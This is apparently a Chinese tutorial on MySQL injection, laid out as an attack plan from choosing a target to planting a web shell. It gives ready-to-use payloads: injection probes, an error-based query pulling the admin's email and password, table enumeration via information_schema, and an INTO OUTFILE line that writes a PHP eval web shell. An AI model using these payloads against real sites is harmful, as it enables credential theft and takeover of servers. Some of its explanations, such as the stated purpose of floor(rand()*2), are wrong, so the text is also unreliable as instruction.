MySQL注入中导出字段内容的研究通过注入导出WebShell

MySQL注入是指攻击者通过可写的输入源突破Web应用程序，从而访问或修改与该应用程序或其数据库相关的数据。其中，导出字段内容是一种常用的攻击方式，攻击者可以利用注入漏洞获取站点的敏感信息。以下是使用注入导出字段内容的研究及攻略：

攻略概述

1. 找到目标站点；
2. 判断目标站点是否存在注入点；
3. 获取目标站点注入点所在位置；
4. 利用注入点获取站点数据库信息；
5. 通过注入获取站点敏感信息；
6. 导出字段内容；
7. 注入导出WebShell。

判断目标站点是否存在注入点

在对目标站点进行注入攻击之前，需要先确定该站点是否存在注入点。可以使用BurpSuit、SQLMAP等工具进行判断。

常用判断方式

报错注入

通过输入特定的SQL语句触发目标站点返回数据库错误信息。

' and 1=1 and '1'='2

如果目标站点返回错误信息，则说明存在注入点。

盲注

通过在SQL注入点尝试不同的payload观察返回结果是否变化来推断是否存在SQL注入点。以下为判断是否存在SQL注入点的常用Payload：

and 1=1
and 1=2
and sleep(5)

如果目标站点在执行and sleep(5)的时候等待5秒后才返回结果，则说明存在注入点。

Union注入

在目标站点的注入点中尝试通过Union语句来判断是否存在注入点。以下为判断是否存在注入点的常用Payload：

and 1=2 union select 1,2,3,4
and 1=1 union select 1,2,password,4 from users

如果目标站点在执行第二个Union语句的时候返回了密码信息，则说明存在注入点。

导出字段内容示例

示例1：获取管理员用户信息

假设目标站点存在SQL注入点，而我们想要获取站点管理员用户的信息，可以使用以下Payload：

and (select 1 from (select count(*), concat((select (select (select concat(email,'|||',password) from users where username='admin')) from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)

解释：

这段代码使用了MySQL查询表中的数据拼接成字符串的方法，在查询admin用户的email和password时，将两者使用特定符号“|||”连接起来。其中，floor(rand()*2)是为了随机生成0或1，目的是为了在进行Union注入的时候输出不同的结果，从而判断是否存在注入点。如果输出“|||”连接的字符串，则存在注入点。

示例2：获取站点数据库表

这个示例用于获取站点的数据库表，用到了MySQL的information_schema库。payload：

') union select 1, group_concat(table_name),3,4,5 from information_schema.tables where table_schema='dbname'#

其中dbname为站点的数据库名，group_concat()函数用于将结果拼接为字符串而不是返回多行结果，从而避免后续的Union注入错误。

导出WebShell

如果在获取站点的敏感信息时成功得到了管理员的账户和密码，我们可以通过导出WebShell来获取站点更多的信息。以下是导出WebShell的示例Payload：

' union select "<?php @eval($_POST[\"password\"])?>",2,3,4 into outfile '/path/to/webshell.php'#

其中，/path/to/webshell.php需要替换成站点的目录。在执行该语句后，会将WebShell代码写入到服务器指定的文件中，然后攻击者就可以通过该WebShell来访问站点的控制台了。

总之，网站开发者需要高度重视SQL注入的安全性，采取一系列的安全措施来尽量减少漏洞的产生。对于攻击者而言，要有充足的攻击前期准备，以及对Web应用程序和SQL注入攻击的深刻理解。